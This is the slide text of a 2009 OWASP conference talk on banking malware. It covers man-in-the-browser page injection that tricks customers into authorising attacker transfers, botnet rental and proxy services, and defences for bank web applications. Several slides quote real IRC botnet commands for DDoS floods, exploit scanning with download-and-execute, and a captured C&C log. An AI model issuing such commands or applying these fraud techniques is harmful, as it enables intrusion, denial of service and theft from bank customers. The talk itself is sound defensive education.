Original pre-login fields
UID, password & site

Modified pre-login fields
Now with ATM details and MMN

New fields added
MITB malware inserted additional fields. Records them, and sends them to the attacker.
Modified pre-login fields
Now with ATM details and MMN

**Configuration files**
XML support, dynamic updates

**Programmable Interfaces**
Malware authors developing an extensible platform that can be sold or rented to other criminals
• Change in tactic’s – move from login to the money transfer
  – First malware generation captured in early 2007 (South America)

• Change driven by:
  – Widespread use of temporal multi-factor keys for authentication
  – Backend application heuristics for spotting login patterns
  – Inter-bank sharing of login and transfer “physical” location info
  – Improved malware techniques...

• Transfers happen after the customer logs in, *from their own computer*, while they are logged in.

• “Session Riding” – can be conducted manually (attacker C&C) or scripted
Victim logs in to the bank “securely” and banks “normally”

Proxy Trojan starts functioning once the victim logs in

Intercepts each transaction

Attacker makes off with the money and the victim is unaware a transaction has occurred

Modifies the page that appears to the victim

Calculates what is supposed to be in the account

Steals some money
Honing in on the Transaction – Malware Injection

Customer enters their transfer payment details

In the background, the proxy Trojan has created its own transfer details

Customer clicks “Submit” to proceed

Customer asked to provide a validation key for the transaction – maybe including a bank-issued “salt” value

The malware fakes a “validation failure” even though the fake transaction worked. Prompts user to “try again”

Customer enters another validation code

Malware submits the original “real” customer transfer information

Confirmation
2nd transaction is confirmed back to the customer. In reality, two transfers have been conducted

Submit

OWASP 2009 Europe - Factoring Malware and Organized Crime into Webapp Security
• Customer enters transaction data the same way
  – From account, To account, Amount, and When

• Customer creates validation token
  – Computational hash created using transaction data, password, and temporal data

• Validation token only viable for one specific transaction

• ... yet more things the customer must do in order to create a transfer!
Social Engineering past CAP Transfers - Injected

Transaction Monitoring
The malware continuously monitors the customer as they navigate the pages to conduct a funds transfer.

HTML Page Insertion
An extra page is inserted into the transfer sequence and requests an additional CAP “Security Code”.

Page (1) Which FROM account?
Page (2) How much? Where TO?
Page (3) Are details correct?
Page (4) CAP instructions and CODE?
Page (5) Security CODE?
Page (6) Validation complete!
Social Engineering past CAP Transfers - Injected

- Attackers response – ask the victim
  - Social engineer it from them

  **To Account:** 9812-3451-23  
  **Amount:** $1,500.00  
  **Validation code:** 456123

**Validation Code Calculation**
Customer must type in the “To Account” number and “Amount” in to the code calculator. The calculator also uses PIN, Date and time information to calculate the validation code.

**Page Insertion**
As part of the process, the attacker inserts a fake page (extra step in “banks” process) in to the Web browser. The fake page asks the victim to use their calculator again – but to use a “Security Code” which is in fact the attackers bank account – and submits the second transaction.

**Validation Code Calculation**
Customer must type in the “To Account” number and “Amount” in to the code calculator. The calculator also uses PIN, Date and time information to calculate the validation code.

**Security Code:** 3133731137  
**Amount:** $1,500.00  
**Validation code:** 998543
How do botnets factor into this?
The botnet advantage

- The use of botnets in attacking Web applications holds several advantages...
  - Anonymity
    - Chaining of several agents to disguise source of attack
  - Dispersed hosts
    - Slipping under threshold limits
  - The power of many
    - A force multiplier
  - Native automation
    - Advanced scripting engines & user manipulation
Anonymity through botnet agents

Many tools and services rely upon compromised hosts (typically botnet agents) to provide SOCKS proxies as anonymous exit/jump points.

Anonymous Proxies
Volume of proxy services increasing year over year

Figure 61: Year Over Year Increase of Anonymous Proxy Web Sites
Anonymity Services

SOCKS chaining is a method of chaining multiple compromised machines together to anonymously tunnel data.

Starting from $40 and going to $300 for a quarter of access, with the price increasing based on the level of anonymity added.
Web-based portal bot-management
For a small fee, attackers can rent/purchase members of a larger botnet.
Online tools enable remote management and configuration of the botnet agents
Portals include performance monitoring tools – how fast is the spam being sent, DDoS throughput, etc.
How do you use a botnet to attack a Web app?
1. Hosts infected with malware via drive-by-download
2. At a specified date & time they launch their attack
3. Combined volume of attack traffic causes the target to stop functioning

5,000 home DSL users launching a simultaneous attack can create:
* 1.3 Gbps traffic volume,
* 150m emails per hour,
* 250k transactions per second
Automated SQL Injection with search engines

• Several commercial SQL Injection tools make use of backend services/C&C to receive latest exploits

Many rely upon search engine queries to identify likely vulnerable Web servers before commencing their automated attack
IRC Command and Control is still common for botnet management

Command language varies upon nature of botnet capabilities

---

**Sdbot/Reptile**

1. `:udp 208.43.216.195 1995 999999999999 -s`
2. `.ddos.ack 208.43.216.195 1995 999999999999 -s`

...typically used for DDoS

---

**Rbots**

1. `:scan.start ms08_067_netapi 25 3 download+exec x.x.x.x`
2. `.scan 75 1 201.x.x.x 2 201.x.x.x`
3. `.root.start lsass_445 100 3 0 -r -s`

...scan hosts within a Class-A for port 443 and attempt to exploit (Conflicker)

---

**Sample bot command sequence**

```
:i=server6.br.gov 001 [00]USA|XP|010841] :Welcome to the br.gov IRC Network [00]USA|XP|010841] SP2-17401
:i=server6.br.gov 002 [00]USA|XP|010841] :Your host is server6.br.gov, running version Unreal3.2-beta19
:i=server6.br.gov 003 [00]USA|XP|010841] :This server was created Sun Feb 8 18:58:31 2004
:i=server6.br.gov 004 [00]USA|XP|010841] :MAP KNOWN SÄFELIST 10 MAXCHANNELS=10 MAXDANS=60 NICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTARGETS=20 AWAY
:i=server6.br.gov 005 [00]USA|XP|010841] WALLCHOPS WATCH=128 SILENCE=5 MODES=12 CHANTYPES=+# PREFIX=(qaohw)&&+ CHANMUTES=+kfl,1,psmntirRCoaQ

:i=server6.br.gov 422 [00]USA|XP|010841] :MOTD File is Missing
:i=server6.br.gov 221 [00]USA|XP|010841] MODE [00]USA|XP|010841] :1
:i=server6.br.gov 221 [00]USA|XP|010841] +t

JOIN #h0tt3y

JOIN #h0tt3y

:i=server6.br.gov 332 [00]USA|XP|010841] : Asc : -s -s | http: http://glx078...decom/p -s|!asc s 33 3 3 -a -e -s||asc s 63 3 0 -b -e -r -s
:i=server6.br.gov 333 [00]USA|XP|010841] : Asc : s 123078112096
:i=server6.br.gov 335 [00]USA|XP|010841] : Asc : s [00]USA|XP|010841]

:i=server6.br.gov 221 [00]USA|XP|010841] +t

JOIN #h0tt3y

:i=server6.br.gov 221 [00]USA|XP|010841] +t

JOIN #h0tt3y

:i=server6.br.gov 332 [00]USA|XP|010841] : Asc : -s -s | http: http://glx078...decom/p -s|!asc s 33 3 3 -a -e -s||asc s 63 3 0 -b -e -r -s
:i=server6.br.gov 335 [00]USA|XP|010841] : Asc : [00]USA|XP|010841]

:i=server6.br.gov 221 [00]USA|XP|010841] +t

JOIN #h0tt3y

:i=server6.br.gov 332 [00]USA|XP|010841] : Asc : -s -s | http: http://glx078...decom/p -s|!asc s 33 3 3 -a -e -s||asc s 63 3 0 -b -e -r -s
:i=server6.br.gov 335 [00]USA|XP|010841] : Asc : [00]USA|XP|010841]

:i=server6.br.gov 221 [00]USA|XP|010841] +t

JOIN #h0tt3y

:i=server6.br.gov 332 [00]USA|XP|010841] : Asc : -s -s | http: http://glx078...decom/p -s|!asc s 33 3 3 -a -e -s||asc s 63 3 0 -b -e -r -s
:i=server6.br.gov 335 [00]USA|XP|010841] : Asc : [00]USA|XP|010841]

:i=server6.br.gov 221 [00]USA|XP|010841] +t

JOIN #h0tt3y

:i=server6.br.gov 332 [00]USA|XP|010841] : Asc : -s -s | http: http://glx078...decom/p -s|!asc s 33 3 3 -a -e -s||asc s 63 3 0 -b -e -r -s
:i=server6.br.gov 335 [00]USA|XP|010841] : Asc : [00]USA|XP|010841]

:i=server6.br.gov 221 [00]USA|XP|010841] +t

JOIN #h0tt3y
```

---

5/14/2009  
OWASP 2009 Europe - Factoring Malware and Organized Crime in to Webapp Security  
44
Where Botnets Excel...

- When attacking Web applications, botnets excel at:
  - Application saturation
  - Brute-forcing & iterative processing
  - Bypassing threshold protection
  - Intercepting user credentials
  - Automating user processes
  - Prompt attacks against newly disclosed vulnerabilities
What can you do about this threat?
Protection Improvement Mindset

- **Most important factor? – reduce complexity**
  - Is it likely additional pages or fields would be spotted by a customer?
  - Is it clear to the customer what’s expected of them?
  - How many pages must customers navigate through or scroll through?
  - Are all the steps logical?
  - Are important questions and steps presented as text or as graphics?
  - How would a customer recognize changes to page content?
  - Could the interface be simplified further?
All-in-one Banking Portal
Applications

• Can the customer change everything online?
  – Address details, delivery details, contact numbers, PIN numbers, passwords, password recovery questions, new accounts, etc.

• What out-of-band verification of changes are there?
  – Change notification sent to previous contact details?
  – Are there delays before going “live”?

• How visible are customer initiated changes?
  – What contact info has changed?
  – Change history goes back how far?

• Transaction history in HTML and Print/PDF for reconciliation?
• How much protection/detection can be done with “backend” thresholds?
  – Does the system implement thresholds on transactions per minute?
  – Is there a delay between creation of a new “payee” account, and ability to transfer money to that account?
• Anomaly detection of transfers?
  – Is information being shared on To: accounts?
  – Frequency of To: account by other customers
  – Could you identify a frequent mule account?
• Identity Changes?
  – Primary contact number changing to cellphone?
Conclusions

• Application complexity is a root-cause

• Increased investment by criminals in to new crimeware tools

• *Crimeware is a bigger Webapp threat than some angry pentester*...
Further Reading...

• Continuing Business with Malware Infected Customers
  – http://www.technicalinfo.net/papers/MalwareInfectedCustomers.html

• Anti-fraud Image Solutions
  – http://www.technicalinfo.net/papers/AntiFraudImageSolutions.html
Thank You!

Questions?

Gunter Ollmann - VP of Research

gollmann@damballa.com
Blog - http://blog.damballa.com
Blog - http://technicalinfodotnet.blogspot.com